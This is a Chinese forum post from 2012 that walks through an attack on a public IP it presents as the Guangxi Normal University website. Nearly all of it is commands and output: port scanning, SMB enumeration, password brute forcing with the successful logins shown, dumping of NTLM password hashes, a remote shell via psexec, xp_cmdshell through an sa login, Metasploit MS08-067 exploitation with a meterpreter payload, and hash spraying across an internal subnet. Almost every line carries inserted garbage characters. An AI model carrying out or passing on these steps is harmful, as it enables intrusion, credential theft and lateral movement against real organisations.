广西师范网站http://202.103.242.241/
. G8 W; W% H3 E) B! L& i5 B
6 M! b+ q* T/ `9 F* b' U) F. troot@bt:~# nmap -sS -sV 202.103.242.241+ T+ e, A1 @1 K. o1 v- E. ^) `- W
0 a8 C0 b% B! [$ F; y
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST0 S% R' h- J; N# M# ?) V! L6 X
3 ~ j: o& _9 K6 k- C
Nmap scan report for bogon (202.103.242.241)1 x2 y8 a- m* N$ j! T5 l
9 ~ g( f$ C, x) K6 T3 Y0 B* B" FHost is up (0.00048s latency).& {# C4 ~- z& |1 g, c; g8 ~' D5 e
+ m4 a3 t* X: l4 O" ?$ P: t
Not shown: 993 closed ports
0 n3 h! M2 I# P8 {' W& r, n/ s( G# a0 r/ W$ n8 l
PORT STATE SERVICE VERSION
& Y' K+ y0 b7 F# B$ M* O& g+ F* w9 J! Y- z& M7 V% a
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)* r9 J/ K- w3 g# q9 n; y, M) e
[3 B3 n$ A! w, x6 Y% W/ f139/tcp open netbios-ssn
7 J- K4 I8 S& {$ X6 |# {& I9 f8 f" _# j2 S1 z
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds, ~- X. Y D \+ X- w
K5 L1 j& s' `7 Z1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
5 X& V: B& Z8 a5 h) }% p1 Z
4 b! q5 X# a. }0 u1026/tcp open msrpc Microsoft Windows RPC7 ? p+ B( d2 A+ G
! Z$ c* A0 O4 U. _7 L3372/tcp open msdtc?: y$ ^% S) [+ w) X7 l- U7 z$ S: D
- `# B. x7 v. ?7 F- [" {% Z1 E
3389/tcp open ms-term-serv?
6 J& o/ Y ?2 @# k8 j; L6 _ p' M1 @' `4 o1 A- K- t% S/ U3 A2 C2 f
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
* d4 f5 e; O: i JSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
% ~- l" S$ t5 M/ L" m4 F% X& x% `7 I3 f) O8 e
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions8 L! \+ { g! e4 V0 j- i: {
; ^1 o/ m+ r( SSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
8 c6 [1 u7 ]. C$ A4 Z$ u+ @8 _/ |) D% X' F+ \0 E
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
' H$ `$ A, n. e5 w# O' y8 _8 n% I5 N7 g* ]$ K, r$ y& }! F' }
SF:ptions,6,”hO\n\x000Z”);5 \! H4 Q2 ?! p, A( h6 b# ]3 ^
( O; }+ z6 t9 e
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
# b; O# [8 v) a6 G$ X. [
3 K0 Y. ~2 B. H4 i8 ^/ v. d5 a5 r5 tService Info: OS: Windows
3 ]/ D/ p% n% E8 R6 d: G2 N9 [$ b* \; N r
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
! |6 a8 r) b7 D9 q2 n2 W) I8 ]. [) ]; Y Q
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
. c" w: l9 P1 }6 o
# q4 b1 T+ c& f: m8 ]5 T3 p; Broot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
6 n+ E9 m5 j) V: G
1 p0 n# l1 s, N& c1 S: \& Q-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
* i' S& r+ J6 b; M1 P! a3 ?
& U! n' T/ K7 h0 u7 D-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse+ p; J6 p u/ B4 ]/ _ K; G
$ v0 ^& D2 w5 Y
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse D. ~& w$ n3 `: z
{/ N! T. k5 C' C* y-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse! c m1 ~( A3 Y( [ v
) k5 k7 j |% a6 C-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
! L4 E5 A4 c- Y) U/ G
- ~4 V/ Z: z, }$ W& P-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse* z7 i5 f4 e2 w! J' w
" e5 z" y# s# {+ G% l4 ]; J-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse: K/ x# O$ E2 B1 v+ c
" Z1 c- G# G$ N7 B g% V6 S/ L
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse- [ R) F. N8 L5 n" e1 z, S
- i6 ~7 M4 A4 ]8 k1 O1 F-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
& t/ K7 v* }# u6 g! B/ ?+ ~. w" g! J' n) C/ F, o4 |0 T0 ^
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
5 C& U5 N! A: q# @; s" z0 j
) s* c$ j. {$ `2 {" A! z/ X& E% p-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
9 |1 ?' ?8 q; t( p5 A6 U
E: B* o2 \( c" Z-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
/ D6 q! h) U" T9 ?& D" k* l
$ G( |9 \/ n* l6 `4 Q5 c0 |8 m; G-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse6 L: m& P6 h" }0 j. @
9 S6 w$ H. x0 X" N* f- n7 }; W-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
& k& b/ y; t( W( q) e6 v, m& Z/ Z5 [, K z( J1 ]% X$ B
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse) H8 F' [, Y0 G( W* r
3 u! {" `. T8 u4 D! g2 [2 Y
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 - n9 l }, }6 l/ J
5 V l$ o. g# E/ d$ ]: b4 S
//此乃使用脚本扫描远程机器所存在的账户名
6 g$ i* B7 ` x1 X, @0 Z% h6 ^; x/ X3 J: ?8 m0 I- Y
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
9 v B4 E3 T/ _+ J
3 X- u, p' e* ]' \Nmap scan report for bogon (202.103.242.241)8 Y7 J: y2 f4 V2 r
- Z9 Z- F/ t9 C3 W2 N1 r
Host is up (0.00038s latency).
{, V! D- P9 _( I8 o+ H# V; ]" V+ d* W( N
Not shown: 993 closed ports
7 \& [) V9 i' W; o% Q; `5 Z# L$ b' Z4 b1 }$ ^
PORT STATE SERVICE
9 W) E' G% i7 {& `
6 W0 E2 F6 g( Z0 `, e135/tcp open msrpc1 \6 Y2 X9 f Q7 t) A5 r7 |0 X+ `
7 _! d" k8 O" R5 Z
139/tcp open netbios-ssn
( U$ k; C4 u$ u, _
8 }" P% e6 ~8 ?# l445/tcp open microsoft-ds
& [: n2 u$ u. j2 }4 c5 v
% C% z2 Q9 p2 [* J( b6 F1025/tcp open NFS-or-IIS
}0 u* }7 K1 Q2 [0 g* n1 n0 j) k8 c! R! R+ T6 ~* c6 v
1026/tcp open LSA-or-nterm: d% u9 j6 v# o: {
" J2 e/ p: R4 m3 ^- g$ R+ y3372/tcp open msdtc
7 K( r" f& M% m; {2 @1 _0 ^1 i2 ]$ F5 }7 Y; L
3389/tcp open ms-term-serv* B: M9 S# _2 Y
2 u* N0 }5 A6 Z' T# g- eMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
- {. O( ~3 I6 ^" B# s; W6 Y9 R& e# s, `4 I3 T8 ~8 A+ V% b: O8 k+ \
Host script results:+ r4 L7 v8 p. X. r* v3 i
+ M& |3 D3 m& X T+ `. u0 M( H. V7 c! N
| smb-enum-users:
4 g7 {! m- `9 S4 _6 j8 L3 t9 K9 ?6 Z# [
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果2 A% H* N; G6 y
M6 K Z# H6 l# Y- B4 P
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds8 C* d6 H5 X; h
# o1 s& V) m X2 Q# @ ~root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
5 i; p& ]% a; {6 E/ j- {( ~% z1 }
8 h" S* P V+ P3 N! R. y( `//查看共享
3 W7 G4 q* Y7 n2 ^7 N+ m& @( R! _6 N9 U
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
/ p" {; Y$ w/ S U$ S" A1 T/ t# V5 c/ q+ a) P
Nmap scan report for bogon (202.103.242.241). {2 l) H) |0 z6 c% L
1 K6 d; n6 V9 L2 @9 v, gHost is up (0.00035s latency)./ o1 {, g* G& D# ]1 Q6 F
2 G' w3 Q' d4 z8 O
Not shown: 993 closed ports! s' l$ p. M* P8 R4 e4 ]) u
: j) E0 v }1 s3 uPORT STATE SERVICE
# S- W3 |! G/ V+ u6 K' Z0 t" R
5 ]1 X# s3 Z7 b$ ~% X' O7 H135/tcp open msrpc
& j/ x& Y$ O$ E& g9 m3 u0 |% t+ V+ t `+ q( A
139/tcp open netbios-ssn K0 l: B: u1 J- q& M
% _ G+ c/ {% q: e8 ]* M1 O. l
445/tcp open microsoft-ds, j2 W3 p' U8 y' }4 l& F1 z
4 y$ w, j: D1 z. s) x, n
1025/tcp open NFS-or-IIS# M2 Y; O1 c! [0 `; `1 ^2 a" i
& H7 R5 t1 [' I" |: Q8 l2 ]
1026/tcp open LSA-or-nterm# Q7 Y( ?" G/ t$ z5 y; z4 A
7 C9 `% S4 ?# @/ Z0 S6 S s3 w
3372/tcp open msdtc8 z/ w/ L- m4 H# K3 e
. B0 i+ D' t. T- B# i9 v
3389/tcp open ms-term-serv* E& e+ N4 T. V. R! z6 {- K
) j" x2 y6 [ v! }MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)! H. y3 Y) }9 Q1 h
0 Y c+ o- H6 U# I4 G! `. D7 LHost script results:& I- V; {$ d+ p% U/ K0 t5 R' y
/ m& O6 w: h; F9 H! S: a# g| smb-enum-shares:
4 k7 B9 ?3 u3 B& ^
" k( t2 ^/ p8 C3 b6 J: r( _8 Y- y| ADMIN$
^0 H) ?8 |# z6 K( E( t0 \2 R; L) d: Z; i8 _
| Anonymous access: <none>; Y: e$ Z6 t: b) {! j K
0 O4 f+ E, X- {/ X' L* ~; ?
| C$* U" g0 W3 p) c) E9 }
3 ^- {9 D7 {- B| Anonymous access: <none>
1 S, t t4 b5 |" B" f( X4 F
5 {2 b* q2 l8 G! Q1 b| IPC$" n3 v% A. K8 K+ u! Y
+ Z% i8 v6 K+ ?; q
|_ Anonymous access: READ
# _6 @$ `" s k3 n, r8 _% _3 P% V7 v* d' C
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
& E$ g* v, u# K# ~/ V8 y O# f
; x8 t' o# \0 {! `root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 + V7 I: _+ x1 I( s0 _
- d" g0 \* X; d+ w/ E& [% d//获取用户密码
2 f8 f X t- Y! G
6 t8 I6 P# W0 r* w2 kStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
3 Q/ h( l+ g. N
! K3 J9 k/ @- M( TNmap scan report for bogon (202.103.242.2418)
* o9 }5 T/ v% D& z j; ?! T4 m h& @- j3 f
Host is up (0.00041s latency).8 X* P8 H) Y7 |7 H& @# I9 h
" H8 Q/ t& k2 e6 v0 W; T1 Y. W
Not shown: 993 closed ports
0 k6 H X3 i0 U. P$ \# f- R0 C' V/ U, n. h' d7 q
PORT STATE SERVICE) Z7 _" l: z& r( ~
. M* B/ C2 N: a
135/tcp open msrpc; a1 \+ N/ {" Q
5 H3 C* E* S) m! M( K
139/tcp open netbios-ssn
9 C/ g6 t8 T7 b7 s4 c: V# e
8 m+ O* s% r- x- n; n4 ^445/tcp open microsoft-ds
" F; ^1 J7 O1 z! M4 @# N l2 }- D8 S
) |" _6 W# O7 {1025/tcp open NFS-or-IIS
! s8 f4 d( d5 l8 z* ]4 I
+ d. W! \& u+ ? F* }1026/tcp open LSA-or-nterm
9 K9 ~! V/ |5 j" B5 w) |2 N" l9 F' T
: O+ v v& f! M1 ^" A E3372/tcp open msdtc0 S/ s; [1 `. X- O& e
; F& p! O; d: j5 t' \& h8 k3389/tcp open ms-term-serv
0 W8 G6 s. R" o* D/ n( V d
" p: s% r1 {! u }9 nMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)+ B# L4 Q1 G) w0 L, o8 l
6 A% K7 @/ A9 p% w
Host script results:
: [% C: ^: o* r! I- A# G' u
5 h2 |& g* S0 f3 q! Q| smb-brute:
3 m' c+ L6 }: I. m" T* t: S8 j* Y1 e8 d7 F. J1 `+ G. m3 y
administrator:<blank> => Login was successful
8 V; @& V! I, L5 C$ Y5 O! U+ [7 ?
|_ test:123456 => Login was successful& Z/ e) A. T- N& v' @' s2 \0 Z; D* E
4 p- H: M! k* S+ _1 {) HNmap done: 1 IP address (1 host up) scanned in 28.22 seconds* _$ H; h2 [& C# C$ \
8 F; x3 J* g$ L, b* vroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash) ~2 o) O9 d, E5 {1 D! u- u
. Y- m. C% M. J, [3 I9 ^root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
; F: w: ?/ m9 |+ L/ i' M
1 y& ]& r" Z' Lroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse. ?8 ]7 @1 R5 e8 S8 B! c, p
6 c4 p" Y7 O! Q/ D2 Y2 @1 B X' X0 X( H1 A
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
( X: J" O. |5 |6 i2 f6 ~" g: W! _) W- Y: |, c% M! V. i$ @# X
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST4 t1 n: D3 |, O( u$ j4 z* _, @
1 g1 G7 I9 ]2 ]% S! WNmap scan report for bogon (202.103.242.241)# }$ H- p) r) [. u
: ^8 j# e! J6 U/ g7 p7 G, a
Host is up (0.0012s latency).2 X5 \# e7 F# |9 y, K
6 P$ a8 L% P" k; |# c6 H/ t
PORT STATE SERVICE; j0 }6 o/ I( s
5 g) c0 e9 g( @" X4 U135/tcp open msrpc
, j/ ~. s6 ~9 k6 s* N1 e) ]& U# `4 n" H
139/tcp open netbios-ssn
" b _' g' b9 {5 u$ \$ Y/ T O! \3 p& m
6 W, ^* }. a$ C6 N0 v! ^ H9 |445/tcp open microsoft-ds
% ~$ w: S4 ]' \) h% Y2 Q
: e4 D Q; x9 B4 ^0 u QMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)7 n3 S6 f! i4 o% w" @7 j
y9 @* S# k7 D+ X
Host script results:
4 A! j: X- g7 F
7 I" z4 U( b; o2 B# A) H' @| smb-pwdump:
- M' n; X0 ?' l+ v
) e6 p: R) ]* l' }| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
! Y8 U* J. }2 I, {
' j0 B* ^& T6 Z$ s| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************+ w3 i, n: c5 p5 z( F
2 E. v0 u) e L
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
3 [4 Q6 N. }* T+ `$ X7 h9 d9 f: V" I0 _! P; {+ i2 @. `
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
- {. N" h4 U/ @' `/ Y
. @4 t' F P* s6 |' Y& GNmap done: 1 IP address (1 host up) scanned in 1.85 seconds& m8 u) R7 u, A. Z: w
' m+ C) n/ m1 P1 x ~, i6 H
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell2 X5 }- F) Q3 `' }
1 J/ X; I" }! H8 J-p 123456 -e cmd.exe
* `% n; v% N% d# a5 E9 C- |/ H. o# M+ }5 x
PsExec v1.55 – Execute processes remotely
+ B% m) w) g# E# s- V# g! D6 Q6 J
Copyright (C) 2001-2004 Mark Russinovich# c A; e& k5 Q0 h
8 q- C; \1 [6 P" \- Q/ ]Sysinternals – www.sysinternals.com
. M* @# z- k. Y3 [' [: j* b3 i( x3 r
Microsoft Windows 2000 [Version 5.00.2195]
. h8 I' ?0 F% {* E; Q* N' s5 q( ?& \' n: [( s2 t
(C) 版权所有 1985-2000 Microsoft Corp.
' G- M6 f) Y$ N2 N1 w* o' g! S1 j2 y3 y
C:\WINNT\system32>ipconfig( M+ H' H, r- t' o! A
! f0 ~3 c( {# y! ^, R* O8 \+ f( d( |
Windows 2000 IP Configuration+ T! r& H8 T/ L0 Y) d k" @
- c8 g4 s9 m# V' R+ S# eEthernet adapter 本地连接:
7 v! U7 k3 ~, A# x, Y
9 z7 u# V3 o* V& f& IConnection-specific DNS Suffix . :
6 Z2 F3 Z, x! o" q
( J* U H) h0 f. N7 b" SIP Address. . . . . . . . . . . . : 202.103.242.241
: w3 L$ }2 h( y9 ~0 V0 M f/ r
8 ?+ @. A# L! }& g4 a8 J! {5 P, ^& CSubnet Mask . . . . . . . . . . . : 255.255.255.0
/ h/ i4 ^ o5 T. s$ q1 c* x4 f8 \& z: L7 O3 w9 @0 o! p/ g
Default Gateway . . . . . . . . . : 202.103.1.1& K1 z9 C, b) U/ c l
6 L( k3 F- J, W3 m u$ l
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
4 Q8 V p+ |4 e3 a' x5 b4 \* C3 f9 e# z+ L4 D! G' i
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞% }& v7 y" u3 F0 L6 y
8 x- I e+ E0 H P; V3 h% BStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST* v0 M1 j! @- [" W, P. K
; S$ v6 l( g' n( g3 LNmap scan report for bogon (202.103.242.241)
6 w' `( l, `8 ]9 h- {7 M( h B8 D; l. {7 p0 w! ]# M& W9 J
Host is up (0.00046s latency).8 f/ t! c9 U$ t4 c0 t
$ [3 q& q- x MNot shown: 993 closed ports
3 I: r. @9 b+ R( m( S" S( }. n6 ]( U& v" R x% D
PORT STATE SERVICE
1 A9 w( S, g9 P# y0 H
% v. V4 o3 R3 P1 \% K' Z135/tcp open msrpc, v; T# j0 W- C3 J/ N
; H8 N% l6 _( A' y
139/tcp open netbios-ssn
: G/ a" O* n4 K, I: w9 P: i+ }6 z" T7 J B
445/tcp open microsoft-ds
$ t& a' N; Q. ~; x+ M/ N4 P6 x, f# B7 t7 h/ U
1025/tcp open NFS-or-IIS3 t. `% g/ x r |7 T) [8 k( Z! j/ |
. h4 D6 }1 K" f/ z2 b0 I& ?
1026/tcp open LSA-or-nterm
# s F3 K& z# L* z/ ~; M$ i2 q+ f* S' m' k" ?- r
3372/tcp open msdtc
% ~9 G0 {8 c0 K; N+ A2 c# B# F0 n/ O4 ~9 j. ?: M3 M
3389/tcp open ms-term-serv- v8 [5 P+ J% l# A
, W0 } F! c6 A+ E/ f8 [MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
3 F* f4 h+ ]0 m8 d+ F" t% v/ i( u) {. K2 `/ E6 u
Host script results:7 Y/ d9 M" m. ?& N0 ~
. e' V. k/ S6 p$ J" I| smb-check-vulns:
* t! k7 Q, {. S2 f' |4 s: B; H* H; F9 T; u$ w
|_ MS08-067: VULNERABLE, R; o: u) b5 C& W7 j7 b# g/ Z) g
0 C$ g3 J( B, s
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
9 k% H0 b' M) G# V! p6 \- T+ Z- A6 ?: `! y. J" N% z
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出/ C& D. X0 `! c7 x1 o; Y1 Q9 ?$ O5 u
. G! B$ ^ S' B n+ {8 D9 o
msf > search ms08
4 J: ?+ R1 C. P7 R1 v
0 B8 p; b+ G! i9 X- a* J: {! fmsf > use exploit/windows/smb/ms08_067_netapi5 ^8 c, u5 J( Y- w) L
- R- M7 U$ n x% I" jmsf exploit(ms08_067_netapi) > show options
. O- v& W8 D, _5 w% Q& t4 a0 J
3 B7 q1 P3 i5 e2 ^' nmsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
' w* r: V$ X" o' ^$ k2 M4 j+ g' b0 {9 _' x
msf exploit(ms08_067_netapi) > show payloads
+ X: M8 B! A' s0 M" E$ m
7 D# s* o, | ^msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
- \; @3 j3 Z7 r3 w0 J0 _6 d8 g$ c2 N. k+ W! K V" n
msf exploit(ms08_067_netapi) > exploit
4 J1 P7 Z/ [2 E: q
' V; [( N6 b3 gmeterpreter >
: P( N( V8 V7 b/ H+ Y% q
7 ? U! `" v0 ?# T" o5 T. R9 l4 ^Background session 2? [y/N] (ctrl+z)
k% q9 ^: d2 u. _+ `
! N, y' l. _9 a. |- S8 }2 gmsf exploit(ms08_067_netapi) > sessions -l, c5 @6 ^1 Z7 A( b( ?5 s
9 e/ z$ m& e1 o
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt ~+ C2 L: ~( U4 E% T
9 L9 O" g& u0 K; d
test
+ f5 v" B! ^9 n0 Q) y- W* V
8 l6 ~6 C; l6 g$ ~; _( d; fadministrator0 m. F8 c$ U$ [4 r8 ^
6 x. o' e( _7 |/ e8 O
root@bt:/usr/local/share/nmap/scripts# vim password.txt
$ G. P0 F% t) K0 G6 c' Y$ p/ G: n; {6 a, v
44EFCE164AB921CAAAD3B435B51404EE" T; f, _) Z& t
: Z6 r; V4 E) E, g+ @$ Q' Q; o# eroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 . S$ E# N" T# k
6 e) r3 F4 u0 x( l# ^# B0 ~0 X+ V
//利用用户名跟获取的hash尝试对整段内网进行登录
6 O z3 ]" R# I" y1 H- H& R+ v1 k9 c) l. z- s3 @7 [0 x
Nmap scan report for 192.168.1.105
) y N4 k" @- l [5 F6 }
7 L. I7 c9 n9 S( @Host is up (0.00088s latency).% t: O# y2 n6 c; k* t5 G
W/ [# N4 g1 i) L+ c' q' S: RNot shown: 993 closed ports& D1 ]( Y* H. O" v0 j$ @/ Y. E
# O9 M5 T: u: d0 _1 w3 q" m
PORT STATE SERVICE+ \' b) W+ C% L1 W
2 f; ]0 d" p; u" ]135/tcp open msrpc8 ~+ w6 U" C6 \& ?
9 w8 J* e- j2 W4 D& l& Q4 b* N
139/tcp open netbios-ssn7 G J) I) ^! h$ s* D% \7 T
m/ \( {/ j, Q4 f1 h9 A+ K445/tcp open microsoft-ds9 M- E9 Q& I+ {, P+ ~3 g
' w: y" x e- R1 q, I1 I4 C( Y& u
1025/tcp open NFS-or-IIS; H1 l, V6 U2 h: o' f
2 h7 l3 u" y* l+ h, l
1026/tcp open LSA-or-nterm, f/ M2 A2 b9 n# o: Q+ S( o# \6 n! C
% O* ?) U) ]3 r- y+ q% g
3372/tcp open msdtc
# ~# p6 i% Q( a9 u2 y+ [& q6 k4 r, L" o* M5 A$ d7 O% ?
3389/tcp open ms-term-serv5 @0 T) [1 T+ R# `; E
! _. p& s8 q6 F2 s. ~
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
3 u/ y/ I- t2 N+ ]. B
; z& L) K: E9 [/ d8 B2 ?Host script results:
& i3 G; p/ {+ P" H9 l
: m; V* B4 B: V| smb-brute:
4 n. @7 F0 E W+ Y2 P5 a# L$ e* I* u2 _* N# C) D2 T* [( [
|_ administrator:<blank> => Login was successful4 e. v+ L9 |# U! [+ a+ o
+ d3 o6 j- Z) f攻击成功，一个简单的msf+nmap攻击~~·
% z3 t; v. \8 o- A
$ z, h; j( K3 ]( `8 |+ k* ?* j |
发表于 2012-12-4 12:46:42
收藏
支持
反对